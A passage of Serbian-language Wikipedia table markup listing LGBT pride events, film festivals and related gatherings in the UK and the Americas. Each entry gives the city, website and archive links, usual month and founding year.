Pride Event]] | [[Plymouth]] | http://www.plymouthprideevent.co.uk/ | jul 7 | 2007 |- | [[Soho Pride]] | London | [http://www.sohopride.net/] | avgust | |- | Sparkle (transgender celebration) | [[Manchester]] | [http://www.sparkle.org.uk/ www.sparkle.org.uk] {{Webarchive|url=https://web.archive.org/web/20090708035011/http://www.sparkle.org.uk/ |date=2009-07-08 }} | jun / Jul | 2005 |- | [[Stoke Pride]] | [[Stoke-on-Trent]], England | http://www.gaystoke.org.uk/ {{Webarchive|url=https://web.archive.org/web/20090626132201/http://gaystoke.org.uk/ |date=2009-06-26 }} | avgust | 2008 |- | [[Middlesbrough Gay Pride]] | [[Middlesbrough]] |[https://web.archive.org/web/20080628140151/http://ts1.gazettelive.co.uk/2008/01/middlesbrough_to_host_annual_g.html] | septembar | 2007 |- | [[GFestgayWise LGBT Arts Festival]] | [[London]] | http://www.gaywisefestival.org.uk/index.php {{Webarchive|url=https://web.archive.org/web/20090430072648/http://www.gaywisefestival.org.uk/index.php |date=2009-04-30 }} | novembar | 2006 |- |} == Amerike == {| class="wikitable" width="100%" |- ! width="30%" | Naziv ! width="20%" | Mesto ! width="30%" | Website ! width="12%" | Vreme dešavanja ! width="8%" | Prva godina |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Argentini|Argentina]] === |- | [[Buenos Aires Pride]] | [[Buenos Aires]] | [http://www.marchadelorgullo.org.ar/ www.marchadelorgullo.org.ar] | novembar | 1992 | |- | [[International Gay/Lesbian/Trans Film Festival in Argentina]] | [[Buenos Aires]] | [http://www.diversa.com.ar/ www.diversa.com.ar] | oktobar | 2004 | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Brazilu|Brazil]] === |- | [[Festival MixBrasil de Cinema e Video da Diversidade Sexual São Paulo]] | [[São Paulo]] | [http://mixbrasil.com.br/ www.mixbrasil.com.br] | novembar | |- | [[Parada do Orgulho GLBT de São Paulo]] (São Paulo Pride) | [[São Paulo]] | [http://www.paradasp.org.br/ www.paradasp.org.br] | jun | 1996 |- | [[Pride Parade Brasília]] | [[Brasília]], [[Brazilian Federal District|Distrito Federal]] | [http://www.mixbrasil.uol.com.br/ www.mixbrasil.uol.com.br] {{Webarchive|url=https://web.archive.org/web/20061118212912/http://mixbrasil.uol.com.br/ |date=2006-11-18 }} | jul | |- | [[Pride Salvador]] | [[Salvador, Bahia]] | [http://www.ggb.org.br/ www.ggb.org.br] | jun | |- | [[Diversity Parade Florianópolis]] | [[Florianópolis, Santa Catarina]] | [http://www.diversidadefloripa.com.br/]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | septembar | |- | [[Pride Rio de Janeiro]] | [[Rio de Janeiro]] | [http://pageoneq.com/news/2007/Hundreds_of_thousands_fill_Rio_for_cel_1015.html] {{Webarchive|url=https://web.archive.org/web/20071018092436/http://pageoneq.com/news/2007/Hundreds_of_thousands_fill_Rio_for_cel_1015.html |date=2007-10-18 }} | oktobar |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Kanadi|Kanada]] === |- | [[AIDS Walk for Life]] | nacionalno | [http://www.aidswalkforlife.ca/Home.htm Scotiabank AIDS Walk for Life] {{Webarchive|url=https://web.archive.org/web/20090813042542/http://www.aidswalkforlife.ca/Home.htm |date=2009-08-13 }} | 14-21 septembar, 2008 | 1996 <small>(Vancouver 1986)</small> |- | [[Bal en Blanc]] | [[Montreal]], [[Quebec]] | [http://www.bbcm.org/ www.bbcm.org] | maj | |- | [[Black & Blue Festival]] | [[Montreal]], [[Quebec]] | [http://www.bbcm.org/ www.bbcm.org] | oktobar | |- | [[Canadian Rockies International Rodeo]] | [[Calgary]], Kanada | | jun | |- | [[Capital Pride (Ottawa)|Capital Pride]] | [[Ottawa]], Kanada | [http://www.capitalpride.ca Capital Pride] | | |- | [[Calgary Pride]] | [[Calgary]], [[Alberta]] | http://www.pridecalgary.ca | | |- | [[Divers/Cité]] | [[Montreal]], [[Quebec]] | [http://www.diverscite.org/ Divers/Cité]{{Dead link|date=August 2024 |bot=InternetArchiveBot |fix-attempted=yes }} | avgust | |- | [[Edmonton Pride]] | [[Edmonton]], [[Alberta]] | [http://www.prideedmonton.org Pride Edmonton] {{Webarchive|url=https://web.archive.org/web/20090802182147/http://www.prideedmonton.org/ |date=2009-08-02 }} | | |- | [[Fet Fair North]] | [[Toronto]], [[Ontario]] | [http://www.ffnto.com/ FFN] {{Webarchive|url=https://archive.today/20130103013257/http://www.ffnto.com/ |date=2013-01-03 }} | | |- | [[Friends For Life Bike Rally]] | [[Toronto]] to [[Montreal]] | [http://www.bikerally.org/ www.bikerally.org] | 26 - 31 jul, 2009 | | |- | [[Global Pride]] | [[Vancouver]], [[British Columbia]] | [http://www.bigrogerevents.com/ http://www.bigrogerevents.com/]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jul (iste nedelje kada i Vancouver Pride) | |- | [[Hot & Dry Weekend]] | [[Montreal]], [[Quebec]] | [http://www.bbcm.org/ www.bbcm.org] | maj | |- | [[image+nation]] | [[Montreal]], [[Quebec]] | [http://www.image-nation.org/ www.image-nation.org] | novembar | |- | [[Inside Out Film and Video Festival]] | [[Toronto]], [[Ontario]] | [http://www.insideout.on.ca/ www.insideout.on.ca] {{Webarchive|url=https://web.archive.org/web/20061118220453/http://www.insideout.on.ca/ |date=2006-11-18 }} | | |- | [[Leather Ball & Church Street Fetish Fair]] | [[Toronto]], [[Ontario]] | [http://www.mrlt.com/ www.mrlt.com] | avgust | |- | [[London Lesbian Film Festival]] | [[London, Ontario]] | [http://www.llff.ca/] | | |- | [[Mr. Leather Ottawa]] | [[Ottawa]], [[Ontario]] | [http://www.ottawaknights.com/ www.ottawaknights.com] {{Webarchive|url=https://web.archive.org/web/20090501221435/http://www.ottawaknights.com/ |date=2009-05-01 }} | novembar | |- | [[Mr. Leatherman Toronto]] | [[Toronto]], [[Ontario]] | [http://www.mrlt.com/ www.mrlt.com] | novembar | |- | [[Mr. Vancouver Leather]] | [[Vancouver]], [[British Columbia]] | [http://www.vancouverleather.com/title/ Vancouver Leather] | novembar | |- | [[Pride Week (Toronto)|Pride Week]] | [[Toronto]], [[Ontario]] | [http://www.pridetoronto.com/ www.pridetoronto.com] | jun | 1981 |- | [[Pride London Festival]] | [[London, Ontario]] | [http://www.pridelondon.ca/ www.pridelondon.ca] |- | [[Prism Toronto]] | [[Toronto|Toronto, Kanada]] | [http://www.prismtoronto.com/ http://www.prismtoronto.com/] | jun (istog vikenda kada i Toronto Pride) | |- | [[Rapture: Vancouver]] | [[Vancouver|Vancouver, Kanada]] | [http://www.tfdpresents.com/ http://www.tfdpresents.com/] | jul (istog vikenda kada i Vancouver Pride) | |- | [[Reel Pride]] | [[Winnipeg]], [[Manitoba]] | [http://www.reelpride.org/ www.reelpride.org] | oktobar | 1987 |- | [[Resurrection (Toronto)|Resurrection]] | [[Toronto]], [[Ontario]] | [http://www.mrlt.com/mlt_events/index.htm www.mrlt.com] {{Webarchive|url=https://web.archive.org/web/20080429203021/http://www.mrlt.com/mlt_events/index.htm |date=2008-04-29 }} | april |- | [[Saskatoon Pride]] | [[Saskatoon]], [[Saskatchewan]] | [http://www.saskatoonpride.ca/ www.saskatoonpride.ca] | jun 9-17 |- | [[Sudbury Pride]] | [[Greater Sudbury]], [[Ontario]] | [http://www.sudburypride.ca/ www.sudburypride.ca] {{Webarchive|url=https://web.archive.org/web/20090429013125/http://www.sudburypride.ca/ |date=2009-04-29 }} | jul/August | 1997 |- | [[tri-Pride (Cambridge, Kitchener, Waterloo)]] | [[Region of Waterloo]], [[Ontario]] | [http://www.tri-pride.ca/ www.tri-pride.ca] {{Webarchive|url=https://web.archive.org/web/20090221143551/http://www.tri-pride.ca/ |date=2009-02-21 }} | maj 31-June 7 2009 | 1990 |- | oktobar |- | [[Twist Week End]] | [[Montreal]], [[Quebec]] | [http://www.bbcm.org/ www.bbcm.org] | jul | |- | [[Vancouver Pride Festival]] | [[Vancouver]], [[British Columbia]] | [http://www.vancouverpride.ca/ www.vancouverpride.ca] | jul | |- | [[Vancouver Queer Film & Video Festival]] | [[Vancouver]], [[British Columbia]] | [http://www.outonscreen.com/ Vancouver Queer Film & Video Festival] | avgust | |- | [[Victoria Pride Festival]] | [[Victoria, British Columbia]] | [http://www.victoriapridesociety.org/index.html Victoria Pride Society] {{Webarchive|url=https://web.archive.org/web/20090703040924/http://www.victoriapridesociety.org/index.html |date=2009-07-03 }} | jun 28 - jul 5, 2009 | 1994<ref>{{Cite web |title=12th annual Victoria Pride Day Parade & Festival - 2006 |url=http://www.tourismvictoria.com/Content/EN/436.asp?id=3943 |access-date=2009-08-26 |archive-date=2007-10-11 |archive-url=https://web.archive.org/web/20071011190316/http://www.tourismvictoria.com/Content/EN/436.asp?id=3943 |dead-url=yes }}</ref> |- | [[Windsor Pride]] | [[Windsor, Ontario]] | [http://www.windsorpride.com/ www.windsorpride.com] | | |- | [[Winnipeg Pride]] | [[Winnipeg]], [[Manitoba]] | [http://www.gaypridewinnipeg.com/ www.gaypridewinnipeg.com] | jun | 1987 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Kolumbiji|Kolumbija]] === |- | [[Marcha de la Ciudadania LGBT]] | [[Bogotá]], [[Colombia]] | [http://www.guiagaycolombia.com/centrolgbt/index.htm/ www.guiagaycolombia.com/centrolgbt/] {{Webarchive|url=https://web.archive.org/web/20090723055518/http://www.guiagaycolombia.com/centrolgbt/index.htm |date=2009-07-23 }} | jun | 1996 |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Meksiku|Meksiko]] === |- | [[Cancún International Gay Festival]] | [[Cancún]], [[Quintana Roo]] | [http://cancungayfestival.com/ www.cancungayfestival.com] {{Webarchive|url=https://web.archive.org/web/20080901031322/http://www.cancungayfestival.com/ |date=2008-09-01 }} | maj | |- | [[Latin Fever]] | [[Puerto Vallarta]], [[Jalisco]] | [http://www.willgorges.com/ www.willgorges.com] {{Webarchive|url=https://web.archive.org/web/20090609151708/http://www.willgorges.com/ |date=2009-06-09 }} | novembar | |- | [[marcha del orgullo LGBTT]] | [[Mexico City]] | [http://orgullolgbt.info/ www.orgullolgbt.info] | jun | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Peruu|Peru]] === |- | [[Marcha de Orgullo]] | [[Lima]] | [http://www.orgulloperu.net www.orgulloperu.net] {{Webarchive|url=https://web.archive.org/web/20090810113230/http://orgulloperu.net/ |date=2009-08-10 }} | | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u Portoriku|Portoriko]] === |- | [[Boquerón Pride]] | [[Boquerón, Puerto Rico|Boquerón]] | | jun | |- | [[San Juan Pride]] | [[San Juan, Puerto Rico|San Juan]] | | jun | |- | bgcolor="#F0F0FF" colspan="6" | === [[Položaj LGBT osoba u SAD|Sjedinjene Američke Države]] === |- | [[Rainbow Rampage]] | od [[Seattle]]a do San Francisca | [http://rainbowrampage.com/ www.rainbowrampage.com] | septembar | |- | [[AIDS Walk Fort Lauderdale]] | [[Ft. Lauderdale, Florida]] | [http://aidswalk.net/ www.aidswalk.net] | april | |- | [[AIDS Walk Miami]] | [[Miami, Florida]] | [http://www.kintera.org/faf/home/default.asp?ievent=185930 www.kintera.org] {{Webarchive|url=https://web.archive.org/web/20070210143750/http://www.kintera.org/faf/home/default.asp?ievent=185930 |date=2007-02-10 }} | april | |- | [[AIDS Walk New York]] | [[New York City, New York]] | [http://www.aidswalk.net www.aidswalk.net] | maj | 1986 |- | [[Albuquerque Pride]] | [[Albuquerque, New Mexico]] | [http://www.abqpride.com/ www.abqpride.com] | jun | |- | [[Alegria Events]] | [[New York City]] and [[Fort Lauderdale, Florida]] | [http://alegriaevents.com/ http://alegriaevents.com/] | Year-round (usually during three day holiday weekends) | |- | [[Atlanta Pride]] | [[Atlanta, Georgia]] | [http://atlantapride.org/ atlantapride.org] {{Webarchive|url=https://web.archive.org/web/20090218141810/http://atlantapride.org/ |date=2009-02-18 }} | jun/jul | 1971 |- | [[Atlantic Stampede Rodeo]] | [[Gaithersburg, Maryland]] | [http://www.asgra.org/ www.asgra.org] | septembar | |- | [[Austin Pride Parade]] | [[Austin, Texas]] | [http://www.austinprideparade.org/ www.austinprideparade.org] {{Webarchive|url=https://web.archive.org/web/20090207123206/http://austinprideparade.org/ |date=2009-02-07 }} | jun | |- | [[Baltimore Pride]] | [[Baltimore, Maryland]] | [http://baltimorepride.org/ baltimorepride.org] | jun | |- | [[Bear Invasion]] | [[Washington, D.C.]] | [http://www.bearinvasion.com/ www.bearinvasion.com] | avgust | |- | [[Blue Ball (circuit party)|Blue Ball]] | [[Philadelphia, Pennsylvania]] | [http://blueballphilly.com/ www.blueballphilly.com] {{Webarchive|url=https://web.archive.org/web/20070710131019/http://www.blueballphilly.com/ |date=2007-07-10 }} | maj | |- | [[Boise Pride]] | [[Boise, Idaho]] | [http://www.boisepride.org/ http://www.boisepride.org/] | avgust | |- | [[Bronx Pride]] | [[Bronx|Bronx, New York]] | [http://bronxpride.org/// http://bronxpride.org/] | jun | |- | [[Brooklyn Pride]] | [[Brooklyn|Brooklyn, New York]] | [http://www.brooklynpride.org// www.brooklynpride.org/] {{Webarchive|url=https://web.archive.org/web/20090901051608/http://www.brooklynpride.org/ |date=2009-09-01 }} | jun | |- | [[Culture in Boston, Massachusetts#Events|Boston Pride]] | [[Boston, Massachusetts]] | [http://www.bostonpride.org/ www.bostonpride.org] | jun | |- | [[Triangle Foundation#Camping.OUT|Camping.OUT]] | [[Northern Michigan]] | [http://www.campingout.org/ www.campingout.org] | avgust | 2006 |- | [[Capital Pride (Washington)|Capital Pride]] | [[Washington, D.C.]] | [http://www.capitalpride.org/ www.capitalpride.org] | jun | 1975 |- | [[Capital City Pride]] | [[Olympia, Washington]] | [http://www.capitalcitypride.net] | jun | 1991 |- | [[Cedar Rapids Pridefest]] | [[Cedar Rapids, Iowa]] | [http://www.crglrc.org/crpride/ www.crglrc.org/crpride]{{Dead link|date=December 2024 |bot=InternetArchiveBot |fix-attempted=yes }} | jun | 1997 |- | [[Central New York Pride]] | [[Syracuse, New York]] | [http://www.cnypride.org/ www.cnypride.org] | jun 20 | |- | [[Charlotte Pridefest]] | [[Charlotte, North Carolina]] | [http://www.pridecharlotte.com/ www.pridecharlotte.com] | jul | |- | [[Cherry Weekend]] | [[Washington, D.C.]] | [http://www.cherryfund.org/ www.cherryfund.org] | jun | |- | [[Chesapeake Pride Festival]] | [[Crownsville, Maryland]] | [http://www.chesapeakepridefestival.org/ www.chesapeakepridefestival.org] {{Webarchive|url=https://web.archive.org/web/20090328150317/http://www.chesapeakepridefestival.org/ |date=2009-03-28 }} | jul 19 | 2008 |- | [[Chicago Bear Pride]] | [[Chicago]], [[Illinois]] | [http://www.glbears.com/ www.glbears.com] {{Webarchive|url=https://web.archive.org/web/20080918202310/http://www.glbears.com/ |date=2008-09-18 }} | maj | |- | [[Chicago Pride Parade]] | [[Chicago]], [[Illinois]] | [http://www.chicagopridecalendar.org/ www.chicagopridecalendar.org] | jun | 1970 |- | [[Christopher Street West]] | [[West Hollywood, Los Angeles, California]] | [http://www.lapride.org/ www.lapride.org] | jun | 1970 |- | [[Cleveland Pride]] | [[Cleveland]], [[Ohio]] | [http://www.clevelandpride.org/ www.clevelandpride.org] | | |- | [[Cleveland Black Pride, BGP]] | [[Cleveland]], [[Ohio]] | [http://www.bgpcleveland.com/ www.bgpcleveland.com]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | avgust | |- | [[Colors Light San Diego Rodeo]] | [[San Diego, California]] | [http://sandiegorodeo.com/ www.sandiegorodeo.com] {{Webarchive|url=https://web.archive.org/web/20081220040900/http://www.sandiegorodeo.com/ |date=2008-12-20 }} | jun | |- | [[Colossus Weekend]] | [[San Francisco, California]] | [http://www.guspresents.com/ www.guspresents.com] | jun | |- | [[Columbus Pride]] | [[Columbus, Ohio]] | [http://www.columbuspride.org/ www.columbuspride.org] | jun | 1981 |- | [[Come Out With Pride]] | [[Orlando, Florida]] | [http://www.mbaorlando.org/pages/come-out-with-pride.php/ www.mbaorlando.org] {{Webarchive|url=https://web.archive.org/web/20090806055125/http://mbaorlando.org/pages/come-out-with-pride.php |date=2009-08-06 }} | oktobar | 2004 |- | [[Dallas Pride]] | [[Dallas, Texas]] | [http://www.dallaspride.org/ www.pridedallas.org] |- | [[DC Black Pride]] | [[Washington, D.C.]] | [http://dcblackpride.org/ www.dcblackpride.org] | maj | 1991 |- | [[Delaware Pride]] | [[Rehoboth Beach, Delaware]] | [http://www.delawarepride.org/ www.delawarepride.org] {{Webarchive|url=https://web.archive.org/web/20090828232327/http://www.delawarepride.org/ |date=2009-08-28 }} | jun | |- | [[East-Central Minnesota Pride]] | [[Pine City, Minnesota]] | [http://www.menscircle.org/ www.menscircle.org] | jun | 2005 |- | [[Equality Forum]] | [[Philadelphia, Pennsylvania]] | [http://equalityforum.com/about.cfm www.equalityforum.com] {{Webarchive|url=https://web.archive.org/web/20081230205427/http://www.equalityforum.com/about.cfm |date=2008-12-30 }} | maj-jun | |- | [[Fantasia Fair]] | [[Boston, Massachusetts]] | [http://www.fantasiafair.org/ www.fantasiafair.org] {{Webarchive|url=https://web.archive.org/web/20090802051556/http://fantasiafair.org/ |date=2009-08-02 }} | oktobar | |- | [[Fantasy Fest]] | [[Key West, Florida]] | [http://www.fantasyfest.net/ www.fantasyfest.net] | oktobar | |- | [[FilmOut San Diego]] | [[San Diego, California]] | [http://filmoutsandiego.com/ www.filmoutsandiego.com] | april | |- | [[Folsom Street East]] | [[New York City, New York]] | [http://folsomstreeteast.org/ www.folsomstreeteast.org] | jun | 1997 |- | [[Folsom Street Fair]] | [[San Francisco, California]] | [http://www.folsomstreetfair.com/ www.folsomstreetfair.com] | septembar | |- | [[Frameline]] | [[San Francisco, California]] | [http://www.frameline.org/ www.frameline.org] | jun | |- | [[Ft. Wayne Pride]] | [[Ft. Wayne, Indiana]] | [http://www.fortwaynepride.org/ www.fortwaynepride.org] {{Webarchive|url=https://web.archive.org/web/20090503075130/http://www.fortwaynepride.org/ |date=2009-05-03 }} | jul | |- | [[Hartford Gay & Lesbian Film Festival]] | [[Hartford, Connecticut]] | [http://www.ctglff.org/ www.ctglff.org]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jun | |- | [[Miami Gay & Lesbian Film Festival]] | [[Miami, Florida]] | [http://www.miamigaylesbianfilm.com/ www.miamigaylesbianfilm.com] | april | |- | [[Gay Days at Walt Disney World]] | [[Orlando, Florida]] | [http://www.gaydays.com/ www.gaydays.com] | jun | 1991 |- | [[Gay Easter Parade]] | [[New Orleans, Louisiana]] | [http://www.gayeasterparade.com/ www.gayeasterparade.com] | mart | |- | [[Gay Mardi Gras]] | [[New Orleans, Louisiana]] | [http://www.gaymardigras.net/ Gay Mardi Gras] {{Webarchive|url=https://web.archive.org/web/20120203000139/http://www.gaymardigras.net/ |date=2012-02-03 }} | February | |- | [[Gay Spring Break]] | [[Key West, Florida]] | [http://www.gayspringbreak.org/ www.gayspringbreak.org] {{Webarchive|url=https://web.archive.org/web/20091009232503/http://www.gayspringbreak.org/ |date=2009-10-09 }} | februar-april | |- | [[Houston Gay Rodeo]] | [[Houston, Texas]] | [http://www.tgra.org/ www.tgra.org] | oktobar | |- | [[Hairrison Street Fair]] | [[San Francisco, California]] | [http://www.hairrison.org/ www.hairrison.org]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | avgust | |- | [[Halloween New Orleans]] | [[New Orleans, Louisiana]] | [http://www.gayhalloween.com/ www.gayhalloween.com] | oktobar | |- | [[Heritage of Pride]] | [[New York City, New York]] | [http://www.hopinc.org/ www.hopinc.org] | jun | 1970 |- | [[Honolulu Rainbow Film Festival]] | [[Honolulu]], [[Hawaii]] | [http://hglcf.org/ www.hglcf.org] {{Webarchive|url=https://web.archive.org/web/20100109130437/http://www.hglcf.org/ |date=2010-01-09 }} | maj | 1989 |- | [[Houston Pride]] | [[Houston, Texas]] | [http://www.pridehouston.org/ www.pridehouston.org] {{Webarchive|url=https://web.archive.org/web/20090814005115/http://www.pridehouston.org/ |date=2009-08-14 }} | jun | 1979 |- | [[Idapalooza Fruit Jam]] | [[Tennessee]] | [http://www.planetida.com/ www.planetida.com] | jun |- | [[Indy Pride]] | [[Indianapolis, Indiana]] | [http://www.gayindy.org/ www.gayindy.org] {{Webarchive|url=https://web.archive.org/web/20090508160544/http://www.gayindy.org/ |date=2009-05-08 }} | jun | |- | [[International Day of Transgender Visibility]] | razne lokacije | | mart | 2009 |- | [[International Gay & Lesbian Festival]] | [[Philadelphia, Pennsylvania]] | [http://www.phillyfests.com/ www.phillyfests.com] {{Webarchive|url=https://web.archive.org/web/20080908100740/http://phillyfests.com/ |date=2008-09-08 }} | jul | |- | [[International Gay & Lesbian Film Fest]] | [[Tampa, Florida]] | [http://www.tiglff.com/ www.tiglff.com] | oktobar | |- | [[International Mr. Leather]] | [[Chicago, Illinois]] | [http://www.imrl.com/ www.imrl.com] | maj | |- | [[Jersey Pride]] | [[Asbury Park, New Jersey]] | [http://www.jerseypride.org// http://www.jerseypride.org/] | jun | |- | [[Jersey City Pride]] | [[Jersey City, New Jersey]] | [http://www.jclgo.org/festival-2009.shtml http://www.jclgo.org/festival-2009.shtml] {{Webarchive|url=https://web.archive.org/web/20090907080550/http://www.jclgo.org/festival-2009.shtml |date=2009-09-07 }} | avgust | |- | [[Kalamazoo Pride]] | [[Kalamazoo, Michigan]] | [http://www.kalamazoopride.com www.kalamazoopride.com]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jun | 2007 |- | [[KinkFest]] | [[Portland, Oregon]] | [http://www.kinkfest.org/ www.kinkfest.org] | mart | |- | [[LA Bear Quake]] | [[Los Angeles, California]] | [http://www.bearquake.com/ www.bearquake.com] {{Webarchive|url=https://web.archive.org/web/20220410033307/http://www.bearquake.com/ |date=2022-04-10 }} | jul | |- | [[Lake Tahoe Winterfest]] | [[Tahoe (jezero)|Jezero Tahoe]] (Nevada) | [http://www.LakeTahoeWinterFest.com www.LakeTahoeWinterFest.com] {{Webarchive|url=https://web.archive.org/web/20090828082643/http://www.laketahoewinterfest.com/ |date=2009-08-28 }} | mart |- | [[Las Vegas Pride]] | [[Las Vegas, Nevada]] | [http://www.lasvegaspride.org/] | maj | 1983 |- | [[Lazy Bear Weekend]] | [[Guerneville, California]] | [http://www.lazybearweekend.com www.lazybearweekend.com] | jul | |- | [[Liberty Open]] | New York City | [http://www.metrotennisgroup.com/ www.metrotennisgroup.com] | jul | |- | [[Long Beach Lesbian & Gay Pride]] | [[Long Beach, California]] | [http://www.longbeachpride.com www.longbeachpride.com] | maj | 1983 |- | [[Long Island Pride]] | [[Huntington, New York]] | [http://liprideparade.com/ liprideparade.com] {{Webarchive|url=https://web.archive.org/web/20061205043555/http://liprideparade.com/ |date=2006-12-05 }} | | |- | [[Los Angeles Pride / Christopher Street West]] | [[West Hollywood, Los Angeles, California]] | [http://www.lapride.org/ www.lapride.org] | jun | 1970 |- | [[Los Angeles / Valley Pride]] | [[Studio City, Los Angeles, California]] | [http://www.lavalleypride.org/ www.lavalleypride.org] | oktobar | 2000 |- | [[LUEY Weekend]] | [[Houston, Texas]] | [http://www.lueyweekend.com/ www.lueyweekend.com] {{Webarchive|url=https://web.archive.org/web/20090831072700/http://lueyweekend.com/ |date=2009-08-31 }} | mart | 1973 |- | [[Madison Pride and MAGIC Picnic]] | [[Madison, Wisconsin]] | [http://www.madisonpride.org/ www.madisonpride.org] | | |- | [[Memorial Day Pensacola Beach Pride]] | [[Pensacola, Florida]] | [http://www.memorialweekendpensacola.com www.memorialweekendpensacola.com] [http://www.gaydaypensacola.com www.gaydaypensacola.com] {{Webarchive|url=https://web.archive.org/web/20200806124156/http://gaydaypensacola.com/ |date=2020-08-06 }} | maj | |- | [[Tidal Wave Pool Party (Bears)]] | [[Orlando Florida (Wet & Wild)]] | [http://www.tidalwaveparty.com] | jun | |- | [[Triangle Foundation#Michigan Lesbian & Gay ComedyFest|Michigan Lesbian and Gay ComedyFest]] | [[Dearborn, Michigan]] | [http://www.comedyfest.org/ www.comedyfest.org] {{Webarchive|url=https://web.archive.org/web/20100202220954/http://www.comedyfest.org/ |date=2010-02-02 }} | mart | |- | [[Mid-Atlantic Leather Weekend]] | [[Washington, D.C.]] | [http://www.leatherweekend.com/ www.leatherweekend.com] | Mid-January (Martin Luther King, Jr. Day Weekend) | 1985 |- | [[Mid-South Pride]] | [[Memphis, Tennessee]] | [http://www.midsouthpride.org/ www.midsouthpride.org] |- | [[Milwaukee LGBT Film & Video Festival]] | [[Milwaukee, Wisconsin]] | [http://www4.uwm.edu/psoa/programs/film/lgbtfilm/index.html] | septembar |- | [[Minnesota AIDS Walk]] | [[Minneapolis, Minnesota]] | [http://www.minnesotaaidswalk.org/ www.minnesotaaidswalk.org] {{Webarchive|url=https://web.archive.org/web/20100709073015/http://www.minnesotaaidswalk.org/ |date=2010-07-09 }} | maj | 1987 |- | [[Apjx]] | | [https://apjx.blogspot.com/ Apjx] {{Webarchive|url=https://web.archive.org/web/20210810072053/https://apjx.blogspot.com/ |date=2021-08-10 }} | |- | [[Modesto Pride]] | [[Modesto, California]] | [http://www.spcpride.org/ www.spcpride.org] {{Webarchive|url=https://web.archive.org/web/20090211185241/http://www.spcpride.org/ |date=2009-02-11 }} | septembar |- | [[MondoHomo Dirty South]] | [[Atlanta, Georgia]] Alternative queer music, arts & culture festival over Memorial Day weekend | [http://www.mondohomo.com/ www.mondohomo.com] | maj | |- | [[Montana Pride]] | [[Montana]] (rotates annually among major Montana towns) | [http://www.qnewsmontana.com/ www.qnewsmontana.com] {{Webarchive|url=https://web.archive.org/web/20090323042745/http://www.qnewsmontana.com/ |date=2009-03-23 }} | jun | |- | [[Pride of Monterey County, Inc.]] | [[Monterey, CA]] | [http://www.montereypride.org/ www.montereypride.org] {{Webarchive|url=https://web.archive.org/web/20090721101633/http://montereypride.org/ |date=2009-07-21 }} | jul | |- | [[Triangle Foundation#Motor City Pride|Motor City Pride]] | [[Detroit, Michigan]] | [http://www.motorcitypride.org/ www.motorcitypride.org] | prve nedelje juna | |- | [[Nashville Pride]] | [[Nashville, Tennessee]] | [http://www.nashvillepride.org/ www.nashvillepride.org] | jun 20 | 1988 |- | [[NewFest - NY LGBT Film Festival]] | [[New York City, New York]] | [http://www.newfest.org www.newfest.org] | End of May - June | |- | [[New York City Pride]] | [[New York City, New York]] | [http://www.nycpride.org www.nycpride.org] | jun | 1969 |- | [[New Orleans Weekend For Ladies]] | [[New Orleans, Louisiana]] | [http://www.neworleansforladies.com www.neworleansforladies.com] {{Webarchive|url=https://web.archive.org/web/20090519065617/http://www.neworleansforladies.com/ |date=2009-05-19 }} | Fourth of July Weekend Friday - Sunday Thanksgiving Weekend Friday - Sunday | 2008 |- | [[North Carolina Pride]] | [[Durham, North Carolina]] | [http://www.ncpride.org www.ncpride.org] | septembar | 1981 |- | [[Northampton Pride]] | [[Northampton, Massachusetts]] | [http://www.northamptonpride.org/ www.northamptonpride.org] | maj | |- | [[Oklahoma City Pride]] | [[Oklahoma City, Oklahoma]] | [http://www.okcpride.com/ www.okcpride.com] {{Webarchive|url=https://web.archive.org/web/20080704122719/http://www.okcpride.com/ |date=2008-07-04 }} | jun | 1988 |- | [[Orlando Bear Bust]] | [[Orlando, Florida]] | [http://www.bearbust.org/ www.bearbust.org]{{Dead link|date=February 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | | |- | [[OutFest (Ann Arbor)|OutFest]] | [[Ann Arbor, Michigan]] | | avgust | |- | [[OutFest (street festival)|OutFest]] | [[Philadelphia, Pennsylvania]] | [http://www.phillypride.org/ www.phillypride.org] {{Webarchive|url=https://web.archive.org/web/20000111025439/http://www.phillypride.org/ |date=2000-01-11 }} | oktobar | |- | [[Outfest]] | [[Los Angeles, California]] | [http://www.outfest.org/ www.outfest.org] | jul | |- | [[Out Takes Dallas Gay & Lesbian Film Festival]] | [[Dallas, Texas]] | [http://www.outtakesdallas.org/ www.outtakesdallas.org] | novembar | 1999 |- | [[Palm Springs Pride]] | [[Palm Springs, California]] | [http://www.pspride.org/ www.pspride.org] | novembar | |- | [[Palm Springs Summer Splash]] | [[Palm Springs, California]] | [http://www.palmspringssummersplash.com www.palmspringssummersplash.com] {{Webarchive|url=https://web.archive.org/web/20110701050141/http://palmspringssummersplash.com/ |date=2011-07-01 }} | jun -avgust | |- | [[Palouse Pride]] | [[Moscow, Idaho]] | [http://www.myspace.com/palouse_pride http://www.myspace.com/palouse_pride] | avgust | |- | [[Philly Black Gay Pride]] | [[Philadelphia, Pennsylvania]] | [http://phillyblackpride.org/ www.phillyblackpride.org] | april | 1999 |- | [[Philly Pride Parade & Festival]] | [[Philadelphia, Pennsylvania]] | [http://www.phillypride.org/ www.phillypride.org] {{Webarchive|url=https://web.archive.org/web/20000111025439/http://www.phillypride.org/ |date=2000-01-11 }} | jun | |- | [[Phoenix Pride]] | [[Phoenix, Arizona]] | [http://www.phoenixpride.org/ wwww.phoenixpride.org] | april | 1981 |- | [[Pines Party]] | [[Fire Island, New York]] | [http://www.fipines.com/ www.fipines.com]{{Dead link|date=May 2026 |bot=InternetArchiveBot |fix-attempted=yes }} | jul | |- | [[Pittsburgh Pride]] | [[Pittsburgh, Pennsylvania]] | [http://glccpgh.org/ www.glccpgh.org] | jun | |- | [[PrideFest (Denver)|PrideFest]] | [[Denver, Colorado]] | [http://www.pridefestdenver.org/ 